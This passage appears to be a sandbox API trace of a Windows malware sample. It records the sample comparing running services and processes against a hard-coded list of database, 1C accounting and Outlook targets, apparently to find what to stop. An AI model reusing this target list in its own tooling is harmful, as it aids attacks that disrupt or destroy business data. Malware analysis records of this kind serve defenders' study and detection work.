(lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.074] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0155.074] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0155.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0155.074] lstrlenW (lpString="Dhcp") returned 4 [0155.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0155.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0155.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0155.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0155.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0155.074] lstrlenW (lpString="Dnscache") returned 8 [0155.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0155.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0155.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0155.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0155.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0155.075] lstrlenW (lpString="DPS") returned 3 [0155.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0155.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0155.075] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0155.075] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0155.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0155.075] lstrlenW (lpString="eventlog") returned 8 [0155.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0155.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0155.075] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0155.075] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0155.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0155.075] lstrlenW (lpString="EventSystem") returned 11 [0155.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0155.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0155.075] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0155.075] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0155.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0155.075] lstrlenW (lpString="gpsvc") returned 5 [0155.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0155.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0155.075] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0155.075] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0155.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0155.075] lstrlenW (lpString="iphlpsvc") returned 8 [0155.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.076] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0155.076] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0155.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0155.076] lstrlenW (lpString="LanmanServer") returned 12 [0155.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0155.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0155.076] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0155.076] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0155.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0155.076] lstrlenW (lpString="LanmanWorkstation") returned 17 [0155.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.076] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0155.076] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0155.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0155.076] lstrlenW (lpString="lmhosts") returned 7 [0155.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0155.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0155.076] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0155.076] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0155.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0155.076] lstrlenW (lpString="MMCSS") returned 5 [0155.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0155.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0155.077] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0155.077] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0155.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0155.077] lstrlenW (lpString="MpsSvc") returned 6 [0155.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0155.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0155.077] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0155.077] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0155.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0155.077] lstrlenW (lpString="Netman") returned 6 [0155.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0155.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0155.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0155.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0155.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0155.077] lstrlenW (lpString="netprofm") returned 8 [0155.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0155.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0155.077] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0155.077] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0155.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0155.077] lstrlenW (lpString="NlaSvc") returned 6 [0155.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0155.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0155.077] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0155.077] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0155.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0155.077] lstrlenW (lpString="nsi") returned 3 [0155.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0155.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0155.078] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0155.078] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0155.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0155.078] lstrlenW (lpString="PcaSvc") returned 6 [0155.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0155.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0155.078] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0155.078] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0155.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0155.078] lstrlenW (lpString="PlugPlay") returned 8 [0155.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0155.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0155.078] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0155.078] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0155.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0155.078] lstrlenW (lpString="Power") returned 5 [0155.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0155.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0155.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0155.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0155.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0155.079] lstrlenW (lpString="ProfSvc") returned 7 [0155.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0155.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0155.079] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0155.079] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0155.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0155.079] lstrlenW (lpString="RpcEptMapper") returned 12 [0155.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.079] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0155.079] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0155.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0155.079] lstrlenW (lpString="RpcSs") returned 5 [0155.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0155.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0155.079] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0155.079] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0155.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0155.079] lstrlenW (lpString="SamSs") returned 5 [0155.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0155.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0155.079] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0155.079] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0155.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0155.080] lstrlenW (lpString="Schedule") returned 8 [0155.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0155.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0155.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0155.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0155.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0155.080] lstrlenW (lpString="SENS") returned 4 [0155.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0155.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0155.080] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0155.080] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0155.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0155.080] lstrlenW (lpString="ShellHWDetection") returned 16 [0155.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.080] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0155.080] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0155.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0155.080] lstrlenW (lpString="Spooler") returned 7 [0155.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0155.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0155.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0155.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0155.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0155.080] lstrlenW (lpString="SysMain") returned 7 [0155.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0155.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0155.080] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0155.080] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0155.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0155.081] lstrlenW (lpString="Themes") returned 6 [0155.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0155.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0155.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0155.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0155.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0155.081] lstrlenW (lpString="TrkWks") returned 6 [0155.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0155.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0155.081] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0155.081] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0155.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0155.081] lstrlenW (lpString="UxSms") returned 5 [0155.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0155.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0155.081] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0155.081] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0155.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0155.081] lstrlenW (lpString="WdiServiceHost") returned 14 [0155.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.081] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0155.081] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0155.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0155.081] lstrlenW (lpString="WdiSystemHost") returned 13 [0155.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0155.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0155.081] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0155.082] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0155.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0155.082] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0155.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0155.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0155.082] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0155.082] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0155.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0155.082] lstrlenW (lpString="Winmgmt") returned 7 [0155.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0155.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0155.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0155.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0155.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0155.082] lstrlenW (lpString="WPDBusEnum") returned 10 [0155.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0155.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0155.082] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0155.082] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0155.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0155.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0155.082] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0155.085] Process32FirstW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.085] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0155.085] lstrlenW (lpString="System") returned 6 [0155.085] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0155.085] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0155.085] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0155.085] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0155.085] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0155.085] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0155.085] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0155.085] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0155.086] lstrlenW (lpString="smss.exe") returned 8 [0155.086] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0155.086] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0155.086] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0155.086] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0155.086] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0155.086] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0155.086] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0155.086] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.086] lstrlenW (lpString="csrss.exe") returned 9 [0155.086] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.086] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.086] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.086] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.086] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.086] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.087] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0155.087] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0155.087] lstrlenW (lpString="wininit.exe") returned 11 [0155.087] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0155.087] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0155.087] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0155.087] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0155.087] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0155.087] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0155.087] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0155.087] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.087] lstrlenW (lpString="csrss.exe") returned 9 [0155.087] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.087] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.088] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.088] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.088] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.088] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.088] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0155.088] lstrlenW (lpString="winlogon.exe") returned 12 [0155.088] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0155.089] lstrlenW (lpString="services.exe") returned 12 [0155.089] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0155.089] lstrlenW (lpString="lsass.exe") returned 9 [0155.089] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0155.089] lstrlenW (lpString="lsm.exe") returned 7 [0155.089] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.090] lstrlenW (lpString="svchost.exe") returned 11 [0155.090] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.090] lstrlenW (lpString="svchost.exe") returned 11 [0155.090] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.090] lstrlenW (lpString="svchost.exe") returned 11 [0155.090] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.091] lstrlenW (lpString="svchost.exe") returned 11 [0155.091] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.091] lstrlenW (lpString="svchost.exe") returned 11 [0155.091] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0155.091] lstrlenW (lpString="audiodg.exe") returned 11 [0155.091] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.092] lstrlenW (lpString="svchost.exe") returned 11 [0155.092] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, 